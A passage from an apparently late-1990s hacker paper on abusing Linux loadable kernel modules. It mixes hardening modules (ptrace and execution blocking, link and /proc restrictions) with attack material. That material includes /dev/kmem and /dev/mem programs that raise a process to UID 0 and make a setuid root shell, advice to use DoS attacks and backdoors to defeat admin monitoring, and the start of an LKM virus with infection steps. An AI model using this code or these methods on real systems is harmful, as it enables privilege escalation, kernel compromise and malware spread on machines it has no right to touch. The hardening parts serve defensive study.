  printk("<1>TRACE ATTEMPT ON %s -> PERMISSION DENIED\n", kfilename);

  kfree(kfilename);

  return 0;

}

ret = my_execve(filename, argv, envp);

return ret;

}



int init_module(void)                /*module setup*/

{

__NR_myexecve = 200;

while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)

  __NR_myexecve--;

orig_execve = sys_call_table[SYS_execve];

if (__NR_myexecve != 0)

{

  sys_call_table[__NR_myexecve] = orig_execve;

  sys_call_table[SYS_execve] = (void *) hacked_execve;

}

return 0;

}



void cleanup_module(void)            /*module shutdown*/

{

sys_call_table[SYS_execve]=orig_execve;                                      

}

<xmp>



This LKM also logs any executable someone wanted to execute with tracing. Well

this LKM checks for some flags, but what if you start tracing a program which

is already running. Just imagine a program (shell or whatever) running with the

PID 1853, now you do a 'strace -p 1853'. This will work. So for securing this

hooking sys_ptrace(...) is the only way. Look at the following module :



<xmp>

#define MODULE

#define __KERNEL__



#include <linux/module.h>

#include <linux/kernel.h>

#include <asm/unistd.h>

#include <sys/syscall.h>

#include <sys/types.h>

#include <asm/fcntl.h>

#include <asm/errno.h>

#include <linux/types.h>

#include <linux/dirent.h>

#include <sys/mman.h>

#include <linux/string.h>

#include <linux/fs.h>

#include <linux/malloc.h>



extern void* sys_call_table[];





int (*orig_ptrace)(long request, long pid, long addr, long data);



int hacked_ptrace(long request, long pid, long addr, long data)

{

printk("TRACING IS NOT ALLOWED\n");

return 0;

}





int init_module(void)                /*module setup*/

{

orig_ptrace=sys_call_table[SYS_ptrace];

sys_call_table[SYS_ptrace]=hacked_ptrace;

return 0;

}



void cleanup_module(void)            /*module shutdown*/

{

sys_call_table[SYS_ptrace]=orig_ptrace;                                      

}

<xmp>



Use this LKM and no one will be able to trace anymore.





<H3><A NAME="III.4."></A>5. Hardening the Linux Kernel with LKMs</h3>



This section subject may sound familiar to Phrack readers. Route introduced nice

ideas for making the Linux system more secure. He used some patches. I want to

show that some ideas can also be implemented by LKMs. Remember that without

hiding those LKMs it is also <i>useful</i> (of course hiding is something you should

do), because route's patches are also worthless if someone rooted the system;

and a non-priviledged user can <i>not</i> remove our LKM, but he can see it.

The advantage of using LKMs instead of a static kernel patch : you can easily

manage the whole system security, and install it more easily on running system.

It's not necessary to install a new kernel on sensitive system you need every

second.<br>

The Phrack patches also added some logging feature's which I did not implement

but there are thousand ways to do it.The simpelst way would be using printk(...)

[Note : I did not look at every aspect of route's patches. Perhaps real good

kernel hackers would be able to do more with LKMs.]





<H4><A NAME="III.4.1."></A>4.1  Why should we allow arbitrary programs execution rights? </h4>



The following LKM is something like route's kernel patch that checks for

execution rights :



<xmp>

#define __KERNEL__

#define MODULE





#include <linux/version.h>

#include <linux/mm.h>

#include <linux/unistd.h>

#include <linux/fs.h>

#include <linux/types.h>

#include <asm/errno.h>

#include <asm/string.h>

#include <linux/fcntl.h>

#include <sys/syscall.h>

#include <linux/module.h>

#include <linux/malloc.h>

#include <linux/kernel.h>

#include <linux/kerneld.h>



/* where the sys_calls are */



int __NR_myexecve = 0;



extern void *sys_call_table[];



int (*orig_execve) (const char *, const char *[], const char *[]);



int (*open)(char *, int, int);

int (*close)(int);





char *strncpy_fromfs(char *dest, const char *src, int n)

{

char *tmp = src;

int compt = 0;



do {

  dest[compt++] = __get_user(tmp++, 1);

}

while ((dest[compt - 1] != '\0') && (compt != n));

return dest;

}



int my_execve(const char *filename, const char *argv[], const char *envp[])

{

long __res;

__asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long)

(filename)), "c"((long) (argv)), "d"((long) (envp)));

return (int) __res;

}



int hacked_execve(const char *filename, const char *argv[], const char *envp[])

{

int fd = 0, ret;

struct file *file;



/*we need the inode strucure*/

/*I use the open approach here, because you should understand it from the LKM

infector, read on for seeing a better approach*/

fd = open(filename, O_RDONLY, 0);

        

file = current->files->fd[fd];



/*is this a root file ?*/

/*Remember : you can do other checks here (route did more checks), but this

              is just for demonstration. Take a look at the inode structur to

              see other items to heck for (linux/fs.h)*/

if (file->f_inode->i_uid!=0)

{

  printk("<1>Execution denied !\n");

  close(fd);

  return -1;

}

else /*otherwise let the user execute the file*/

{

  ret = my_execve(filename, argv, envp);

  return ret;

}

}



int init_module(void)                /*module setup*/

{

printk("<1>INIT \n");

__NR_myexecve = 250;

while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)

  __NR_myexecve--;

orig_execve = sys_call_table[SYS_execve];

if (__NR_myexecve != 0)

{

  printk("<1>everything OK\n");

  sys_call_table[__NR_myexecve] = orig_execve;

  sys_call_table[SYS_execve] = (void *) hacked_execve;

}



open = sys_call_table[__NR_open];

close = sys_call_table[__NR_close];     

return 0;

}



void cleanup_module(void)            /*module shutdown*/

{

sys_call_table[SYS_execve]=orig_execve;                                      

}

This is not exactly the same as route's kernel patch. route checked the path we

check the file (a path check would also be possible, but in my opinion a file

check is also the better way). I only implemented a check for UID of the file,

so an admin can filter the file execution process. As I said the open / fd

approach I used above is not the easiest way; I took it because it should be

familiar to you (remember, the LKM infector used this method). For our purpose

the following kernel function is also possible (easier way) :

int namei(const char *pathname, struct inode **res_inode);



int lnamei(const char *pathname, struct inode **res_inode);

Those functions take a certain pathname and return the corresponding inode

structure. The difference between the functions above lies in the symlink

resolving : lnamei does not resolve a symlink and returns the inode structure

for the symlink itself. As a hacker you could also modify inodes. Just retrieve

them by hooking sys_execve(...) and using namei(...) (the way we use also for

execution control) and manipulate the inode (I will show a practical example of

this idea in 5.3).

4.2 The Link Patch

Every Linux user knows that symlink bugs are something which often leads to

serious problems if it comes to system security. Andrew Tridgell developed a

kernel patch which prevents a process from 'following a link which is in a +t

(mostly /tmp/) directory unless they own the link'. Solar Designer added some

code which also prevents users from creating hard links in a +t directory to

files they don't own.

I have to admit that the symlink patch lies on a layer we can't easily reach

from our LKM psotion. There are neither exported symbols we could patch nor any

systemcalls we could intercept. The symlink resolving is done by the VFS. Take a

look at part IV for methods which could help us to solve this problem (but I

would not use the methods from IV to secure a system). You may wonder why I

don't use the sys_readlink(...) systemcall for solving the problem. Well this

call is used if you do a 'ls -a symlink' but it is not called if you issue a

'cat symlink'.

In my opinion you should leave this as a kernel patch. Of course you can code a

LKM which intercepts the sys_symlink(...) systemcall in order to prevent a user

from creating symlinks in the /tmp directory. Look at the hard link LKM for a

similar implementation.

Ok, the symlink problem was a bit hard to transform it to a LKM. How about Solar

Designer's idea concerning hard link restrictions. This can be done as LKM. We

only need to intercept sys_link(...) which is responsible for creating any hard

links.Let's take a look at hacked systemcall (the code fragment does not exactly

the same as the kernel patch, because we only check for the '/tmp/' directory,

not for the sticky bit(+t),but this can also be done with looking at the inode

structure of the directoy [see 5.1]) :

int hacked_link(const char *oldname, const char *newname)

{

char *kernel_newname;

int fd = 0, ret;

struct file *file;



kernel_newname = (char*) kmalloc(256, GFP_KERNEL);

memcpy_fromfs(kernel_newname, newname, 255);



/*hard link to /tmp/ directory ?*/

if (strstr(kernel_newname, (char*)&hide ) != NULL)

{

  kfree(kernel_newname);



  /*I use the open approach again */

  fd = open(oldname, O_RDONLY, 0);

      

  file = current->files->fd[fd];



  /*check for UID*/

  if (file->f_inode->i_uid!=current->uid)

  {

   printk("<1>Hard Link Creation denied !\n");

   close(fd);

   return -1;

  }

}

else

{

  kfree(kernel_newname);

  /*everything ok -> the user is allowed to create the hard link*/

  return orig_link(oldname, newname);

}

}

This way you could also control the symlink creation.

4.3 The /proc permission patch

I already showed you some ways how to hide some process information.route's idea

is different to our hide approach. He wants to limit the /proc/ access (needed

for access to process information) by changing the directory permissions. So he

patched the proc inode. The following LKM will do exactly the same without a

static kernel patch. If you load it a user will not be allowed to read the proc

fs, if you unload it he will be able to. Here we go :

/*very bad programming style (perhaps we should use a function for the

  indode retrieving), but it works...*/

#define __KERNEL__

#define MODULE

#define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds());

#define END_KMEM   set_fs(old_fs);}



#include <linux/version.h>

#include <linux/mm.h>

#include <linux/unistd.h>

#include <linux/fs.h>

#include <linux/types.h>

#include <asm/errno.h>

#include <asm/string.h>

#include <linux/fcntl.h>

#include <sys/syscall.h>

#include <linux/module.h>

#include <linux/malloc.h>

#include <linux/kernel.h>

#include <linux/kerneld.h>



extern void *sys_call_table[];



int (*open)(char *, int, int);

int (*close)(int);





int init_module(void)                /*module setup*/

{

int fd = 0;

struct file *file;

struct inode *ino;



/*again the open(...) way*/

open = sys_call_table[SYS_open];

close = sys_call_table[SYS_close];



/*we have to supplie some kernel space data for the systemcall*/

BEGIN_KMEM

fd = open("/proc", O_RDONLY, 0);

END_KMEM

printk("%d\n", fd);

file = current->files->fd[fd];



/*here's the inode for the proc directory*/

ino= file->f_inode;



/*modify permissions*/

ino->i_mode=S_IFDIR | S_IRUSR | S_IXUSR;



close(fd);

return 0;

}



void cleanup_module(void)            /*module shutdown*/

{

int fd = 0;

struct file *file;

struct inode *ino;



BEGIN_KMEM

fd = open("/proc", O_RDONLY, 0);

END_KMEM

printk("%d\n", fd);

file = current->files->fd[fd];



/*here's the inode for the proc directory*/

ino= file->f_inode;



/*modify permissions*/

ino->i_mode=S_IFDIR | S_IRUGO | S_IXUGO;



close(fd);

}

Just load this module and try a ps, top or whatever, it won't work. Every access

to the /proc directory is totally denied. Of course, as root you are still

allowed to view every process and anything else; this is just a permission patch

in order to keep your users silly.

[Note : This is a practical implementation of modifying inodes 'on the fly' you

should see many possibilities how to abuse this.]

4.4 The securelevel patch

The purpose of this patch : I quote route

  "This patch isn't really much of a patch. It simply bumps the securelevel up,

  to 1 from 0. This freezes the immutable and append-only bits on files, keeping

  anyone from changing them (from the normal chattr interface). Before turning

  this on, you should of course make certain key files immutable, and logfiles

  append-only. It is still possible to open the raw disk device, however. Your

  average cut and paste hacker will probably not know how to do this."

Ok this one is really easy to implement as a LKM. We are lucky because the

symbol responsible for the securelevel is public (see /proc/ksyms) so we can

easily change it. I won't present an example for this bit of code, just import

secure level and set it in the module's init function.

4.5 The rawdisk patch

I developed an easy way to avoid tools like THC's manipate-data.

Those tools are used by hackers to search the hard disk for their origin IP

address or DNS name. After finding it they modify or remove the entry from the

hard disk. For doing all this they need access to the /dev/* files for opening

the rawdisk. Of course they can only do this after rooting the system. So what

can we do about this. I found that the following way helps to prevent those

attacks [of course there are again thousand ways to defeat that protection ] :



  boot your system



  install a LKM which prevents direct (dev/*) access to your partition you save

  your logs



This works because the system (normally) only needs direct access to the rawdisk

during the some (seldom) operationes. The LKM just intercepts sys_open(...) and

filter for the needed dev-file. I think it's not necessary to show how to code

it, take a look at II.4.2). This way you can protect any /dev/* file. The

problem is that this way nobody can access them directly while the LKM is

loaded.

[Note : There are some functions which will not work / crash the system, but a

normal web-, or mailserver should work with this patch.]

IV. Some Better Ideas (for hackers)

1. Tricks to beat admin LKMs

This part will give us some notes on playing with the kernel on systems where

you have a paranoid (good) admin. After explaining all the ways admins can

protect a system, it is very hard to find better ways for us (hackers).

We need to leave the LKM field for some seconds in order to beat those hard

protections.

Imagine a system where an admin has installed a very good and big monitor LKM

which checks every action on that system. It can do everything mentioned in part

II and III.

The first way to get rid of this LKM is trying to reboot the system, perhaps the

admin did not load this LKM from an init file. So try some DoS Attacks or

whatever works. If you still cannot kill this LKM try to look at some important

files, but be careful, some files may be protected / monitored (see appendix A

for such a LKM).

If you really cannot see where the LKM is loaded etc., forget the system or risk

installing a backdoor, which you cannot hide (process/file). But if an admin

really uses such a 'mega' LKM, forget the system, he might really be good and

you may get some trouble. For those who even want to beat that system read

section 2.

2. Patching the whole kernel - or creating the Hacker-OS

[Note : This section may sound a bit off topic, but in the end I'll present a

nice idea (program that was developed by Silvio Cesare which will also help us

using our LKMs. This section will only give a summary of the whole kmem problem

due to the fact that we only need to focus on the idea by Silvio Cesare.]

Ok LKM's are nice. But what if the admin is like the one described in 1. He does

everything in order to prevent us from using our nice LKM techniques from part

II. He even patched his own kernel, to make his system secure. He uses a kernel

without native LKM support.

So now it's time to make our last step : Runtime Kernel Patching. The basic

ideas in this section come from some sources I found (kmemthief etc) and a paper

by Silvio Cesare which describes a general approach to modifying kernel symbols.

In my opinion this kind of attack is one of the strongest concerning 'kernel

hacking'. I don't undersand every Un*x kernel out there, but this approac can

help you on many systems. This section describes Runtime Kernel Patching, but

what about kernelfile patching. Every system has a file which represents the

plain kernel. On free systems like FreeBSD, Linux, ... it is easy to patch a

kernel file, but what about the commercial ones ? I never tried it, but I think

this would really be interesting : Imagine backdoor'ing a system thru a kernel

patch. You only have to do a reboot or wait for one (every system must reboot

sometimes :). But this text will only deal with the runtime approach. You may

say that this paper is called 'Abusing Linux Loadable Kernel Modules' and you

don't want to know how to patch the whole Linux kernel. Well this section will

help us to 'insmod' LKMs on systems which are very secure and have no LKM

support in their kernel. So we learn something which will help us with our LKM

abusing.

So let's start with the most important thing we have to deal with if we want to

do RKP(Runtime Kernel Patching).It's the file /dev/kmem,which makes it possible

for us to take a look (and modify) the complete virtual memory of our target

system. [Note : Remember that the RKP approach is in most cases only useful, if

you rooted a system. Only very unsecure systems will give normal users access to

that file].

As I said before /dev/kmem gives us the chance to see every memory byte of our

system (plus swap). This means we can also access the whole memory which allows

us to manipulate any kernel item in the memory (because the kernel is only some

objectcode loaded into system memory). Remember the /proc/ksyms file which shows

us every address of an exported kernel symbol. So we know where to modify memory

in order to manipulate some kernel symbols. Let's take a look at a very basic

example which is know for a very long time. The following (user space) program

takes the task_structure address (look for kstat in /proc/ksyms) and a certain

PID. After seacxhing the task structure that stands for the specified PID it

modifies every user id field in order to make this process UID=0. Of course

today this program is nearly of no use, because most systems don't even allow a

normal user to read /dev/kmem but it is a good introduction into RKP.

/*Attention : I implemented no error checking!*/

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <fcntl.h>



/*max. number of task structures to iterate*/

#define NR_TASKS        512



/*our task_struct -> I only use the parts we need*/

struct task_struct {

char a[108];              /*stuff we don't need*/

int pid;

char b[168];              /*stuff we don't need*/

unsigned short uid,euid,suid,fsuid;

unsigned short gid,egid,sgid,fsgid;

char c[700];              /*stuff we don't need*/

};





/*here's the original task_structure, to show you what else you can modify

struct task_struct {

volatile long state;       

long counter;

long priority;

unsigned long signal;

unsigned long blocked;

unsigned long flags;

int errno;

long debugreg[8];

struct exec_domain *exec_domain;

struct linux_binfmt *binfmt;

struct task_struct *next_task, *prev_task;

struct task_struct *next_run,  *prev_run;

unsigned long saved_kernel_stack;

unsigned long kernel_stack_page;

int exit_code, exit_signal;

unsigned long personality;

int dumpable:1;

int did_exec:1;

int pid;

int pgrp;

int tty_old_pgrp;

int session;

int leader;

int        groups[NGROUPS];

struct task_struct *p_opptr, *p_pptr, *p_cptr, *p_ysptr, *p_osptr;

struct wait_queue *wait_chldexit;

unsigned short uid,euid,suid,fsuid;

unsigned short gid,egid,sgid,fsgid;

unsigned long timeout, policy, rt_priority;

unsigned long it_real_value, it_prof_value, it_virt_value;

unsigned long it_real_incr, it_prof_incr, it_virt_incr;

struct timer_list real_timer;

long utime, stime, cutime, cstime, start_time;

unsigned long min_flt, maj_flt, nswap, cmin_flt, cmaj_flt, cnswap;

int swappable:1;

unsigned long swap_address;

unsigned long old_maj_flt;       

unsigned long dec_flt;               

unsigned long swap_cnt;       

struct rlimit rlim[RLIM_NLIMITS];

unsigned short used_math;

char comm[16];

int link_count;

struct tty_struct *tty;

struct sem_undo *semundo;

struct sem_queue *semsleeping;

struct desc_struct *ldt;

struct thread_struct tss;

struct fs_struct *fs;

struct files_struct *files;

struct mm_struct *mm;

struct signal_struct *sig;

#ifdef __SMP__

  int processor;

  int last_processor;

  int lock_depth;       

#endif       

};

*/



int main(int argc, char *argv[])

{

unsigned long task[NR_TASKS];

/*used for the PID task structure*/

struct task_struct current;

int kmemh;

int i;

pid_t pid;

int retval;



pid = atoi(argv[2]);



kmemh = open("/dev/kmem", O_RDWR);

       

/*seek to memory address of the first task structure*/

lseek(kmemh,  strtoul(argv[1], NULL, 16), SEEK_SET);

read(kmemh, task, sizeof(task));

       

/*iterate till we found our task structure (identified by PID)*/

for (i = 0; i < NR_TASKS; i++)

{

  lseek(kmemh, task, SEEK_SET);

  read(kmemh, &current, sizeof(current));

  /*is it our process?*/

  if (current.pid == pid)

  {

   /*yes, so change the UID fields...*/

   current.uid = current.euid = 0;

   current.gid = current.egid = 0;

   /*write them back to memory*/

   lseek(kmemh, task, SEEK_SET);

   write(kmemh, &current, sizeof(current));

   printf("rocess was found and task structure was modified\n");

   exit(0);

  }

}

}

Nothing special about this little program. It's just like searching a certain

pattern in a file and changing some fields. There are lots of programs out there

which are doing stuff like that. As you can see the example above won't help you

attacking a system, it's just for demonstration (but there mayby some poor

systems allowing users to write to /dev/kmem, I don't know).

The same way you can change the module structures responsible for holding the

kernel's module information. This way you can also hide a module, just by

patching kmem; I don't present an implementation of this, because it is basicly

the same as the program above (ok, the searching is a bit harder ;)).

The way above we modified a kernel structure. There are some programs doing

things like that. But what about functions ? Well seach the internet and you

will soon recognize that there are not so many programs doing things like that.

Well, of course patching a kernel function (we will do more useful things later)

is a bit tricky. The best way would be to play with the sys_call_table structure

which will point to a completely new function made by us. Otherwise there would

be some problems concerning function size and so on. The following example is

just a very easy program making every systemcall doing nothing. I just insert a

RET(0xc3)at the beginning of the function address that I get from /proc/ksyms.

This way the function will return immediately doing nothing.



/*again no error checking*/

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <fcntl.h>



/*just our RET opcode*/

unsigned char asmcode[]={0xc3};



int main(int argc, char *argv[])

{

unsigned long counter;

int kmemh;



/*open device*/

kmemh = open("/dev/kmem", O_RDWR);

       

/*seek to memory address where the function starts*/

lseek(kmemh,  strtoul(argv[1], NULL, 16), SEEK_SET);



/*write our patch byte*/

write(kmemh, &asmcode, 1):



close(kmemh);

}

Let's summarize what we know so far : We can modify any kernel symbol; this

includes things like sys_call_table[] and any other function or structure.

Remember that every kernel patching can only be done if we can access /dev/kmem

but there are also ways how to protect this file. Take a look at III.5.5.

2.1 How to find kernel symbols in /dev/kmem

After the basic examples above you could ask how to modify any kernel symbol and

how to find interesting ones. In the example above we used /proc/ksyms to get

the address we need to modify a symbol. But what do we have on systems with no

lkm support build into their kernel, there won't be a /proc/ksyms file, because

it is only used for module management (public / available symbols)? And what

about kernel symbols that are not exported, how can we modify them ?

Many questions, so let's find some solutions. Silvio Cesare discussed some ways

finding different kernel symbols (public & non-public ones). He outlines that

while compiling the linux kernel a file called 'System.map' is created which

maps every kernel symbol to a fixed address. This file is only needed during

compilation for resolving those kernel symbols. The running systems has no need

for that file.The addresses used for compilation are the same we can use to seek

/dev/kmem. So the general approach would be :

  lookup System.map for the needed kernel symbol



  take the address we found



  modify the kernel symbol (structure, function, or whatever)



Sounds quite easy. But there is one big problem. Every system which does not use

exactly our kernel will have other addresses for their kernel symbols.

And on most systems you won't find a helpful System.map file telling us every

address. So what to do. Silvio Cesare proposed to use a 'key search'. Just take

your kernel, read the first 10 bytes (just a random value) of a symbol address

and take them as a key for searching the same symbol in another kernel.

If you cannot build a generic key for a certain symbol you may try to find some

relations from this symbol to other kernel symbols you can create generic keys

for. Finding relations can be done by looking up the kernel sources; this way

you can also find interesting kernel symbols you could modify (patch).



2.2 The new 'insmod' working without kernel support

Now it's time to go back to our LKM hacking. This section will give you some

hints concerning Silvio Cesare's kinsmod program. I will only outline the

general working. The most complicated part of the program is the objectcode

handling (elf file) and its kernel space mapping. But this is only a problem of

the elf header processing nothing kernel specific. Silvio Cesare used elf files

because this way you can insert [normal] LKMs. It would also be possible to

write a file (just opcodes -> see me RET example) and inserting this file which

would be harder to could but essier to map. For those who really want to

understand the elf file handling I added Silvio Cesare's file to this text (I've

also done it because Silvio Cesare wants his sources / ideas only be distributed

within the whole file).

Now it's time to look at the general ideas of inserting LKMs on a system without

support for that feature.

The first problem we are faced to if we want to insert code (a LKM or whatever)

into the kernel is the need for memory. We can't take a random address and write

our objectcode to /dev/kmem. So where can we put our code in a way it does not

hurt the running system and will not be removed due to some memory operation in

kernel space. There's one place where we can insert a bit of code, take a look

at the following figure showing the general kernel memory :

kernel data

...

kmalloc pool

The kmalloc pool is used for memory allocation in kernel space (kmalloc(...)).

We cannot put our code into this pool because we cannot be sure that the address

space we write to is unused. Now comes Silvio Cesare's idea : the kmalloc pool

borders in memory are saved in memory_start and memory_end which are exported by

the kernel (see /proc/ksyms). The interesting point about this is that the start

address (memory_start) is not exactly the kmalloc pool start adress, because

this address is aligned to the next page border of memory_start.So there is a

bit of memory which will never be used (between memory_start and the real start

of the kmalloc pool). This is the best place to insert our code. Ok this is not

the whole story, you may recognize that no useful LKM will fit into this little

buffer. Silvio Cesare used some bootstrap code he put into this little buffer;

this code loads the actual LKM. This way we can load LKMs on systems without

support for this. Please read Silvio Cesare's paper for a in-depth discussion on

actually mapping a LKM file (elf format) into the kernel; this is a bit

difficult.

3. Last words

Section 2 was nice, but what about systems which do not permit access to kmem?

Well a last way would be inserting/modifying kernel space with the help of some

kernel bugs. There are always some buffer overflows and other problems in kernel

space. Also consider checking modules for some bugs. Just take a look at the

many source files of the kernel. Even user space programs can help us to modify

the kernel.

Bear in mind, that some weeks months ago a bug concerning svgalib was found.

Every program using svgalib gets a handle with write permissions to /dev/mem.

/dev/mem can also be used for RKP with the same adresses as /dev/kmem. So look

at the following list, to get some ideas how to do RKP on very secure systems :

  find a program that uses svgalib



  check the source of that program for common buffer overflows (should be not

  too hard)

  write an exploit which starts a program using the open /dev/mem write handle

  to manipulate the appropriate task structure to make your process UID 0

  create a root shell

This generic scheme works very fine (zgv, gnuplot or some know examples). For

patching the task structure some people use the following program (which uses

the open write handle) by Nergal :

/* by Nergal */

#define SEEK_SET 0



#define __KERNEL__

#include <linux/sched.h>

#undef __KERNEL__



#define SIZEOF sizeof(struct task_struct)



int mem_fd;

int mypid;



void

testtask (unsigned int mem_offset)

{

  struct task_struct some_task;

  int uid, pid;

  lseek (mem_fd, mem_offset, SEEK_SET);

  read (mem_fd, &some_task, SIZEOF);

  if (some_task.pid == mypid)   /* is it our task_struct ? */

    {

      some_task.euid = 0;

      some_task.fsuid = 0;      /* needed for chown */

      lseek (mem_fd, mem_offset, SEEK_SET);

      write (mem_fd, &some_task, SIZEOF);

      /* from now on, there is no law beyond do what thou wilt */

      chown ("/tmp/sh", 0, 0);

      chmod ("/tmp/sh", 04755);

      exit (0);

    }

}

#define KSTAT 0x001a8fb8  /*  <-- replace this addr with that of your kstat */

main ()                   /*      by doing strings /proc/ksyms |grep kstat  */

{

  unsigned int i;

  struct task_struct *task[NR_TASKS];

  unsigned int task_addr = KSTAT - NR_TASKS * 4;

  mem_fd = 3;                   /* presumed to be opened /dev/mem */

  mypid = getpid ();

  lseek (mem_fd, task_addr, SEEK_SET);

  read (mem_fd, task, NR_TASKS * 4);

  for (i = 0; i < NR_TASKS; i++)

    if (task)

      testtask ((unsigned int)(task));



}

This was just an example to show you that there is always one way, you only have

to find it. Systems with stack execution patches, you could look for heap

overflows or just jump into some library functions (system(...)). There are

thousand ways...

I hope this last section gave you some ideas how to proceed.

V. The near future : Kernel 2.2.x

1. Main Difference for LKM writer's

Linux has a new Kernel major Version 2.2 which brings some little changes to LKM

coding. This part will help you to make the change, and outline the biggest

changes. [Note : There will be another release concentrating on the new kernel]

I will show you some new macros / functions which will help you to develope LKMs

for Kernel 2.2. For an exact listing of every change take a look at the new

Linux/module.h include file, which was totally rewritten for Kernel 2.1.18.

First we will look at some macros which will help us to handle the System Table

in an easier way : macrodescription

      EXPORT_NO_SYMBOLS;this one is equal to register_symtab(NULL) for older

      kernel versions

      EXPORT_SYMTAB;this one must be defined before linux/module.h if you want

      to export some symbols

      EXPORT_SYMBOL(name);export the symbol named 'name'

      EXPORT_SYMBOL_NOVERS (name);export without version information

The user space access functions were also changed a bit, so I will list them

here (just include asm/uaccess.h to use them) : functiondescription

      int access_ok (int type, unsigned long addr, unsigned long size);this

      function checks whether the current process is allowed to access addr

      unsigned long copy_from_user (unsigned long to, unsigned long from,

      unsigned long len);this is the 'new' memcpy_tofs function

      unsigned long copy_to_user (unsigned long to, unsigned long from, unsigned

      long len);this is the counterpart of copy_from_user(...)

You don't need to use access_ok(...) because the function listed above check

this themselves. There are many more differences, but you should really take a

look at linux/module.h for a detailed listing.

I want to mention one last thing. I wrote lots of stuff on the kerneldaemon

(kerneld). Kernel 2.2 will not use kerneld any more. It uses another way of

implementing the request_module(...) kernel space function - it's called kmod.

kmod totally runs in kernel space (no IPC to user space any more). For LKM

programmers nothing changes, you can still use the request_module(...) for

loading modules. So the LKM infectors could use this also on kernel 2.2 systems.

I'm sorry about this little kernel 2.2 section, but at the moment I am working

on a general paper on kernel 2.2 security (especially the lkm behaviour). So

watch out for new THC releases. I even plan to work on some BSD systems

(FreeBSD, OpenBSD, for example) but this will take some months.

VI. Last Words

1. The 'LKM story' or 'how to make a system plug & hack compatible'

You may wounder how insecure LKMs are and why they are used in such an insecure

ways. Well LKMs are designed to make life easier especially for users.Linux

fights agains Microsoft, so developers need a way to make the old unix style a

bit more attractive and easier. They implement things like KDE and other nice

things. Kerneld, for example, was developed in order to make module handling

easier. But remember, the easier and more automated a system is the more

problems concerning security are possible. It is impossible to make a system

usable by everyone and being secure enough. Modules are a great example for

this.

Microsoft shows us other examples : thinking of ActiveX, which is a (maybe) good

idea, with a cruel securiy design for keeping everything simple.

So dear Linux developers : Be careful, and don't make the fault Microsoft made,

don't create a plug & hack compatible OS. KEEP SECURITY IN MIND !

This text should also make clear that the kernel of any system must be protected

in the best way available.It must be impossible for attackers to modify the most

important item of your whole system. I leave this task to all system designers

out there :).

2. Links to other Resources

Here are some interesting links about LKMs (not only hack & securiy related):

[Internet]

http://www.linuxhq.com

everything on Linux + nice kernel links

http://www.linuxlinks.com

lots of links concerning Linux

http://www.linux.org

'propaganda' page for Linux

http://www.lwn.net

weekly Linux news; very interesting there are also kernel / securiy sections

http://www.phrack.com

read issue 50 & 52 for interesting module information

http://www.rootshell.com

they have some nice LKMs

http://www.geek-girl.com/bugtraq/

there were some discussions on LKM security

http://hispahack.ccc.de

HISPAHACK homepage

http://r3wt.base.org

THC homepage (articles, magazines and lots of tools)

http://www.antisearch.com

one of the best security / hacking related search engines I know

http://www.kernel.org

get the kernel and study it !



[Books]

Linux-Kernel-Programming (Addison Wesley)

A very good book. I read the german version but I think there is also an english

version.

Linux Device Drivers (O'Reilly)

A bit off topic, but also very interesting. The focus is more on writing LKMs as

device drivers.

Acknowledgements

Thanks for sources / ideas fly to :

plaguez, Solar Designer, halflife, Michal Zalewski, Runar Jensen, Aleph1,

Stealthf0rk/SVAT, FLoW/HISPAHACK, route, Andrew Tridgell, Silvio Cesare,

daemon9, Nergal, van Hauser (especially for showing me some bugs) and those

nameless individuals providing us with their ideas (there are so many) !

Greets

groups : THC, deep, ech0, ADM, =phake=



personal :

van Hauser - thanks for giving me the chance to learn

mindmaniac - thanks for introducing 'the first contact'

background music groups (helping me to concentrate on writing :):

Neuroactive, Image Transmission, Panic on the Titanic, Dracul













A - Appendix

Here you will find some sources.If the author of the LKM also published some

notes / texts which are interesting, they will also be printed.



LKM Infector

NAME : moduleinfect.c

AUTHOR : Stealthf0rk/SVAT

DESCRIPTION : This is the first published LKM infector which was discussed II.8.

This LKM has no destruction routine, it's just an infector, so experimenting

should be quite harmless.

LINK : http://www.rootshell.com



/*                 SVAT - Special Virii And Trojans - present:

*

* -=-=-=-=-=-=- the k0dy-projekt, virii phor unix systems -=-=-=-=-=-=-=-

*

* 0kay guys, here we go...

* As i told you with VLP I (we try to write an fast-infector)

* here's the result:

* a full, non-overwriting module infector that catches

* lkm's due to create_module() and infects them (max. 7)

* if someone calls delete_module() [even on autoclean].

* Linux is not longer a virii-secure system

* and BSD follows next week ...

* Since it is not needed 2 get root (by the module) you should pay

* attention on liane.

* Note the asm code in function init_module().

* U should assemble your /usr/src/.../module.c with -S and your CFLAG

* from your Makefile and look for the returnvalue from the first call

* of find_module() in sys_init_module(). look where its stored (%ebp for me)

* and change it in __asm__ init_module()! (but may it is not needed)

*

* For education only!

* Run it only with permisson of the owner of the system you are logged on!!!

*

*                 !!! YOU USE THIS AT YOUR OWN RISK !!!

*

* I'm not responsible for any damage you may get due to playing around with this.

*

* okay guys, you have to find out some steps without my help:

*

*         1. $ cc -c -O2 module.c

*        2. get length of module.o and patch the #define MODLEN in module.c

*        3. $ ???

*           4. $ cat /lib/modules/2.0.33/fs/fat.o >> module.o

*        5. $ mv module.o /lib/modules/2.0.33/fs/fat.o

*        >AND NOW, IF YOU REALLY WANT TO START THE VIRUS:<

*        6. $ insmod ???

*

* This lkm-virus was tested on a RedHat 4.0 system with 80486-CPU and

* kernel 2.0.33. It works.

*

*         greets  (in no order...)

*         <><><><><><><><><><><><>

*

*         NetW0rker        - tkx for da sources

*        Serialkiller        - gib mir mal deine eMail-addy

*        hyperSlash        - 1st SVAT member, he ?

*        naleZ                 - hehehe

*        MadMan                - NetW0rker wanted me to greet u !?

*        KilJaeden        - TurboDebugger and SoftIce are a good choice !

*

*        and all de otherz

*

*        Stealthf0rk/SVAT <stealth@cyberspace.org>

*/



#define __KERNEL__

#define MODULE

#define MODLEN 7104

#define ENOUGH 7

#define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds());

#define END_KMEM   set_fs(old_fs);}





/* i'm not sure we need all of 'em ...*/



#include <linux/version.h>

#include <linux/mm.h>

#include <linux/unistd.h>

#include <linux/fs.h>

#include <linux/types.h>

#include <asm/errno.h>

#include <asm/string.h>

#include <linux/fcntl.h>

#include <sys/syscall.h>

#include <linux/module.h>

#include <linux/malloc.h>

#include <linux/kernel.h>

#include <linux/kerneld.h>



